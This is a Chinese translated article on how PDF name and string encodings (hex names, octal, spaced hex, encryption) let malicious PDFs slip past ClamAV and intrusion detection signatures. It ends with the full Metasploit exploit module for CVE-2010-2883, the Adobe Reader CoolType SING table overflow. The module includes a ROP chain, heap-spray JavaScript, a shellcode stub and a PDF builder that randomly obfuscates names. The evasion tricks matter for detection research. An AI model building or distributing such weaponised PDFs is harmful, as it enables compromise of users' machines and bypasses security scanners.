cve-2010-2883 Adobe reader的CoolType.dll文件对TTF字体文件处理具有远程代码执行漏洞。虽然这个漏洞已经有了利用脚本(见本文最后),但其原理并没有非常完整详细的分析文章。这篇文章仅仅是漏洞原理的一小部分分析。

作者:Didier Stevens | 翻译:习科 小Dの马甲

在这篇文章中,我将展示如何用PDF语言的基本功能生成恶意的PDF文档。如果你的PDF代码分析器有写签名或分析恶意PDF文件的功能,你就要知道这些。
office语言规范是很有趣的。我特别欣赏Backus–Naur这样的规范。但我并没有花时间研究这个。

当我浏览PDF文档规范时,我对action动作名称和字符串表达的规范特别感兴趣。不管是什么规范,再严格的规范还是有很多空子可以钻,这就使得在一种规范中我们往往可以构建多样化写法来逃避像ClamAV和入侵检测系统这样的已知模式的识别系统。

建立一个测试文件

在我示范之前,我们先来看一个能启动默认浏览器并导航到一个网站的测试文档打开所用的时间。从pdf文档中打开一个网页可以用这样的一个URI action动作:

8 0 obj
<<
/Type /Action
/S /URI
/URI (http://blackbap.org)
>>
endboj

一个action动作的发生需要一个事件来触发它,这个触发器例如显示一个动作的action或者打开一个pdf文档。在测试文档中,每次打开文档时,我们将使用OpenAction来触发前面的URI action动作对象的执行,像这样(line6):

1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 8 0 R
>>
endboj

我曾经写过文章,新增一个URI action行动对象和OpenAction事件到一个“hello world”的PDF文件中

现在,我们有之前的测试文档来一个换汤不换药,这是我探讨问题的步骤。

一个action动作名称有下面的问题:

  1. 动作名称的十六进制编码问题
  2. 字符串的换行转义、八进制编码、十六进制编码、十六进制字间距、加密问题

先看action动作的名称表示中存在的问题

看上面的两个action对象的引用,格式规范是这样的:起始为一个“/”单斜线作为标记,URI这三个字母为action动作对象,也就是是所谓的官方PDF格式规范里面的描述名称,下面我们简称动作名称。

动作名称在文档中是区分大小写的。根据格式规范,动作名称URI只能是大写,小写则错误,OpenAction这个动作名称也只能O和A大写,其余小写,不能更改。系统中特殊的设置限制了动作名称的使用,也就是说,不能自定义一个action动作。不过PDF格式规范的版本为1.2版,动作名称的使用已经不再是单一格式的了,新的用词规范已经允许使用动作名称所对应的ASCII码的hex十六进制编码来描述一个动作名称。也就是说,现在的动作名称可以写为:#XX(XX为hex编码)格式。

这样的规范就允许一个动作名称出现多种写法,例如刚才的URI

刚才说了,URI这个动作名称,根据格式规范,只能为大写,但是根据新的动作名称定义,我们可以换成hex编码格式,像这样:#55RI

虽然#55RI跟URI不一样,但是这样的写法确是正确的,因为#55就等同于大写字母U,只不过编码格式不同。
那么刚才的URI例子的引用,也可以写成这样(line5):

8 0 obj
<<
/Type /Action
/S /URI
/#55RI (http://blackbap.org)
>>
endboj

或者干脆将URI三个字母全部替换成hex十六进制编码#55#52#49
那么刚才的URI引用就成了这样(line5):

8 0 obj
<<
/Type /Action
/S /URI
/#55#52#49 (http://blackbap.org)
>>
endboj

算法的匹配模式必须考虑到这些样貌不同但是实质其实完全一样的动作名称,现在标准化的方法就是对这些名称进行正则: 第一,将它们规范为统一的一种编码格式,例如用ASCII字符代替#XX格式的hex编码,进行规范的正则检查。

字符串表示问题

字符串的表达可以体现为许多种形式,一种就是将文字括入括号中(line5):

8 0 obj
<<
/Type /Action
/S /URI
/URI (http://blackbap.org)
>>
endboj

如果括号内的字符串为多行,可以通过在字符串的末尾增加一个反斜杠(\)来对字符串进行回车分割
例如刚才的引用代码变形成为这样(line5&line6):

8 0 obj
<<
/Type /Action
/S /URI
/URI (h\
ttp://blackbap.org)
>>
endboj

这个变形并不受任何限制,我们甚至可以在括号内的每一个字符后面都加一个反斜杠,但是最终表达的字符串意义却不会改变:

8 0 obj
<<
/Type /Action
/S /URI
/URI (h\
t\
t\
p\
:\
/\
…中间略…
.\
o\
r\
g\
)
>>
endboj

括号内的字符串中的某一个字符,也可以表示为它的八进制编码,像这样(line5):

8 0 obj
<<
/Type /Action
/S /URI
/URI (\150ttp://blackbap.org)
>>
endboj

上面只对h一个字母进行了八进制编码,我们还可以对整段字符串全部取八进制编码(line5):

8 0 obj
<<
/Type /Action
/S /URI
/URI (\150\164\164\160\072\057\057\142\154\141\143\153\142\141\160\056\157\162\147)
>>
endboj

还有一个方法来表示字符串就是进行16进制的hex编码(括号要变成大小写号<>)(line5):

8 0 obj
<<
/Type /Action
/S /URI
/URI <687474703A2F2F626C61636B6261702E6F7267>
>>
endboj

你也可以在16进制中间加上字间距:

8 0 obj
<<
/Type /Action
/S /URI
/URI <68 74 74 70 3A 2F 2F 62 6C 61 63 6B 62 61 70 2E 6F 72 67>
>>
endboj

这个问题的严重性在于,你不必在乎你的字间距是多少:

8 0 obj
<<
/Type /Action
/S /URI
/URI <68                                         74           74 70          3A 2F 2F 62 6C 61
63 6B 62

61 70 2E         6F 72       67>
>>
endboj

这些字间距突然的让我我想起了IE在html中耍的使用零字节的把戏,我想这个例子远还没有结束,我还要继续探讨一个关于加密在pdf文档中的应用。

另一种改变pdf文档内容的方法就是加密。pdf文档的内容是可以加密的,当然,用户不需要密码就可以查看文档的真实内容,这种加密的格式仅仅是一个版权的管理,并不是登录口令之类,只是将内容进行重写,你可以通过屏幕阅读,但是你无法拷贝出这些加密过的数据。

你是不是曾经遇到过这样的情况:复制一个pdf文档里面的文本或者其他的数据的时候,或者打印这个文本的时候,打印和复制出来的内容全部都是乱码?这就是一个内容加密过的文档。

在对一个PDF文档进行加密的时候,被加密的东西仅仅只有字符串和数据流是加密的,action动作对象本身是没有被加密的。字符串加密的方法有多种多样(line5):

8 0 obj
<<
/Type /Action
/S /URI
/URI (W"?ó÷ˉ±?2\(:W)
>>
endboj

不过据我所知,pdf的加密已经广泛应用于绕过垃圾邮件的筛选器了。

最后的总结

在pdf的编程语言中提供多种功能的action动作和action动作名称的多样化,方便我们进行pdf编程的同时也造成了生成恶意pdf文档提供的捷径。如果要对一个pdf进行扫描,那么扫描工具首先需要支持这些多样化的功能以及千变万化的名称编码。

有迹象表明,大部分的ClamAV产品例如入侵检测系统,并没有对pdf文档进行签名检查或者正则匹配。也就是说,一旦恶意的pdf中的内容作了如上的格式转换,这些用于扫描、检测pdf中恶意代码的系统将统统亮绿灯。

我做过一些测试,将pdf文档中使用URI action动作的mailto部分仅仅进行十六进制编码,这样居然就成功绕过了ClamAV系统的代码检查。 不过对十六进制添加诸多不必要的空格,虽然可以很轻松很容易的绕过入侵检测,但是这是一种相当麻烦的做法,可是直接取十六进制编码并不能完全绕过所有的检测系统。

ClamAV源代码中针对pdf文档的源代码中,可以有更多的证据表明杀毒软件对pdf文档的检测有诸多的不足,简直可以说是鸡肋。这里是一个关于名称长度的no canicalization字符串代码(line:3):

if(*q == '/') { /* name object */
  /*cli_dbgmsg("Name object %8.8s\n", q+1, q+1);*/
  if(strncmp(++q, "Length " , 7) == 0) {
    q += 7;
    Length = atoi(q);
    while(isdigit(*q))
      q++;

如果我在文档中使用#XX格式的hex编码,将和代码里的判断不匹配,也就是绕过了它的检测系统。

这是用于漏洞测试的ruby脚本:

cve-2010-2883.rb
##
# $Id$
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'zlib'
 
class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
 
	include Msf::Exploit::FILEFORMAT
 
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
				handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
				assumed to be vulnerable as well.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',    # 0day found in the wild
					'@sn0wfl0w',  # initial analysis
					'@vicheck',   # initial analysis
					'jduck'       # Metasploit module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2010-2883' ],
					[ 'OSVDB', '67849'],
					[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
					[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'             => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Sep 07 2010',
			'DefaultTarget'  => 0))
 
		register_options(
		 	[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)
	end
 
   def exploit
		ttf_data = make_ttf()
 
		js_data = make_js(payload.encoded)
 
		# Create the pdf
		pdf = make_pdf(ttf_data, js_data)
 
		print_status("Creating '#{datastore['FILENAME']}' file...")
 
		file_create(pdf)
	end
 
	def make_ttf
		ttf_data = ""
 
		# load the static ttf file
 
		# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
		path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
		fd = File.open( path, "rb" )
		ttf_data = fd.read(fd.stat.size)
		fd.close
 
		# Build the SING table
		sing = ''
		sing << [
			0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
			0xe01,  # glyphletVersion
			0x100,  # embeddingInfo
			0,      # mainGID
			0,      # unitsPerEm
			0,      # vertAdvance
			0x3a00  # vertOrigin
		].pack('vvvvvvvv')
		# uniqueName
		# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
		sing << "A" * (0x254 - sing.length)
 
		# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
		sing[0x140, 4] = [0x08231060 - 0x1c].pack('V')
 
		# This becomes our new EIP (puts esp to stack buffer)
		ret = 0x81586a5 # add ebp, 0x794 / leave / ret
		sing[0x208, 4] = [ret].pack('V')
 
		# This becomes the new eip after the first return
		ret = 0x806c57e
		sing[0x18, 4] = [ret].pack('V')
 
		# This becomes the new esp after the first return
		esp = 0x0c0c0c0c
		sing[0x1c, 4] = [esp].pack('V')
 
		# Without the following, sub_801ba57 returns 0.
		sing[0x24c, 4] = [0x6c].pack('V')
 
		ttf_data[0xec, 4] = "SING"
		ttf_data[0x11c, sing.length] = sing
 
		#File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) }
 
		ttf_data
	end
 
	def make_js(encoded_payload)
 
		# The following executes a ret2lib using BIB.dll
		# The effect is to bypass DEP and execute the shellcode in an indirect way
		stack_data = [
			0xc0c0c0c,
			0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
			0xcccccccc,
			0x70048ef,      # xchg eax,esp / ret
			0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
			0xcccccccc,
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009033,      # ret 0x18
			0x7009084,      # ret
			0xc0c0c0c,
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7001599,      # pop ebp / ret
			0x10124,
			0x70072f7,      # pop eax / ret
			0x10104,
			0x70015bb,      # pop ecx / ret
			0x1000,
			0x700154d,      # mov [eax], ecx / ret
			0x70015bb,      # pop ecx / ret
			0x7ffe0300,     # -- location of KiFastSystemCall
			0x7007fb2,      # mov eax, [ecx] / ret
			0x70015bb,      # pop ecx / ret
			0x10011,
			0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
			0x70015bb,      # pop ecx / ret
			0x10100,
			0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
			0x70072f7,      # pop eax / ret
			0x10011,
			0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
			0x7005c54,      # pop esi / add esp,0x14 / ret
			0xffffffff,
			0x10100,
			0x0,
			0x10104,
			0x1000,
			0x40,
			# The next bit effectively copies data from the interleaved stack to the memory
			# pointed to by eax
			# The data copied is:
			# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
			# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
			# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
			0x700d731,      # mov eax, [ebp-0x24] / ret
			0x70015bb,      # pop ecx / ret
			0x9054905a,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x5815eb5a,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x18891a8b,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x8304c083,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0xfb8104c2,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0xc0c0c0c,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x5ebee75,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0xffffe6e8,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x909090ff,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x90909090,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x90909090,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x90ffffff,
			0x700154d,      # mov [eax], ecx / ret
			0x700d731,      # mov eax, [ebp-0x24] / ret
			0x700112f       # call eax -- (execute stub to transition to full shellcode)
		].pack('V*')
 
		var_unescape  = rand_text_alpha(rand(100) + 1)
		var_shellcode = rand_text_alpha(rand(100) + 1)
 
		var_start     = rand_text_alpha(rand(100) + 1)
 
		var_s         = 0x10000
		var_c         = rand_text_alpha(rand(100) + 1)
		var_b         = rand_text_alpha(rand(100) + 1)
		var_d         = rand_text_alpha(rand(100) + 1)
		var_3         = rand_text_alpha(rand(100) + 1)
		var_i         = rand_text_alpha(rand(100) + 1)
		var_4         = rand_text_alpha(rand(100) + 1)
 
		payload_buf = ''
		payload_buf << stack_data
		payload_buf << encoded_payload
 
		escaped_payload = Rex::Text.to_unescape(payload_buf)
 
		js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
 
		js
	end
 
	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end
 
	def ioDef(id)
		"%d 0 obj \n" % id
	end
 
	def ioRef(id)
		"%d 0 R" % id
	end
 
 
	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		#return str
		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end
 
 
	def ASCIIHexWhitespaceEncode(str)
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end
 
 
	def make_pdf(ttf, js)
 
		#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
 
		xref = []
		eol = "\n"
		endobj = "endobj" << eol
 
		# Randomize PDF version?
		pdf = "%PDF-1.5" << eol
		pdf << "%" << RandomNonASCIIString(4) << eol
 
		# catalog
		xref << pdf.length
		pdf << ioDef(1) << nObfu("<<") << eol
		pdf << nObfu("/Pages ") << ioRef(2) << eol
		pdf << nObfu("/Type /Catalog") << eol
		pdf << nObfu("/OpenAction ") << ioRef(11) << eol
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# pages array
		xref << pdf.length
		pdf << ioDef(2) << nObfu("<<") << eol
		pdf << nObfu("/MediaBox ") << ioRef(3) << eol
		pdf << nObfu("/Resources ") << ioRef(4) << eol
		pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
		pdf << nObfu("/Count 1") << eol
		pdf << nObfu("/Type /Pages") << eol
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# media box
		xref << pdf.length
		pdf << ioDef(3)
		pdf << "[0 0 595 842]" << eol
		pdf << endobj
 
		# resources
		xref << pdf.length
		pdf << ioDef(4)
		pdf << nObfu("<<") << eol
		pdf << nObfu("/Font ") << ioRef(6) << eol
		pdf << ">>" << eol
		pdf << endobj
 
		# page 1
		xref << pdf.length
		pdf << ioDef(5) << nObfu("<<") << eol
		pdf << nObfu("/Parent ") << ioRef(2) << eol
		pdf << nObfu("/MediaBox ") << ioRef(3) << eol
		pdf << nObfu("/Resources ") << ioRef(4) << eol
		#pdf << nObfu("/MediaBox [0 0 640 480]")
		#pdf << "<<"
		#if true
		#	pdf << nObfu("/ProcSet [ /PDF /Text ]") << eol
		#	pdf << nObfu("/Font << /F1 ") << ioRef(8) << nObfu(">>") << eol
		#end
		#pdf << nObfu(">>") << eol # end resources
		pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
		#pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") << eol
		pdf << nObfu("/Type /Page") << eol
		pdf << nObfu(">>") << eol # end obj dict
		pdf << endobj
 
		# font
		xref << pdf.length
		pdf << ioDef(6) << nObfu("<<") << eol
		pdf << nObfu("/F1 ") << ioRef(7) << eol
		pdf << ">>" << eol
		pdf << endobj
 
		# ttf object
		xref << pdf.length
		pdf << ioDef(7) << nObfu("<<") << eol
		pdf << nObfu("/Type /Font") << eol
		pdf << nObfu("/Subtype /TrueType") << eol
		pdf << nObfu("/Name /F1") << eol
		pdf << nObfu("/BaseFont /Cinema") << eol
		#pdf << nObfu("/FirstChar 0")
		#pdf << nObfu("/LastChar 255")
		pdf << nObfu("/Widths []") << eol
		#256.times {
		#	pdf << "%d " % rand(256)
		#}
		#pdf << "]" << eol
		pdf << nObfu("/FontDescriptor ") << ioRef(9)
		pdf << nObfu("/Encoding /MacRomanEncoding")
		#pdf << nObfu("/FontBBox [-177 -269 1123 866]")
		#pdf << nObfu("/FontFile2 ") << ioRef(9)
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# page content
		content = "Hello World!"
		content = "" +
			"0 g" + eol +
			"BT" + eol +
			"/F1 32 Tf" + eol +
			#"  10 10 Td" + eol +
			"32 Tc" + eol +
			"1 0 0 1 32 773.872 Tm" + eol +
			#"2 Tr" + eol +
			"(" + content + ") Tj" + eol +
			"ET"
 
		xref << pdf.length
		pdf << ioDef(8) << "<<" << eol
		pdf << nObfu("/Length %s" % content.length) << eol
		pdf << ">>" << eol
		pdf << "stream" << eol
		pdf << content << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		# font descriptor
		xref << pdf.length
		pdf << ioDef(9) << nObfu("<<")
		pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
		pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
		pdf << nObfu("/FontBBox [-177 -269 1123 866]")
		pdf << nObfu("/FontFile2 ") << ioRef(10)
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# ttf stream
		xref << pdf.length
		pdf << ioDef(10) << nObfu("<</Length %s /Length1 %s>>" % [ttf.length, ttf.length]) << eol
		pdf << "stream" << eol
		pdf << ttf << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		# js action
		xref << pdf.length
		pdf << ioDef(11) << nObfu("<<")
		pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
		pdf << nObfu(">>") << eol
		pdf << endobj
 
		# js stream
		xref << pdf.length
		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
		pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
		pdf << "stream" << eol
		pdf << compressed << eol
		pdf << "endstream" << eol
		pdf << endobj
 
		# trailing stuff
		xrefPosition = pdf.length
		pdf << "xref" << eol
		pdf << "0 %d" % (xref.length + 1) << eol
		pdf << "0000000000 65535 f" << eol
		xref.each do |index|
			pdf << "%010d 00000 n" % index << eol
		end
 
		pdf << "trailer" << eol
		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
 
		pdf << "startxref" << eol
		pdf << xrefPosition.to_s() << eol
 
		pdf << "%%EOF" << eol
		pdf
	end
 
end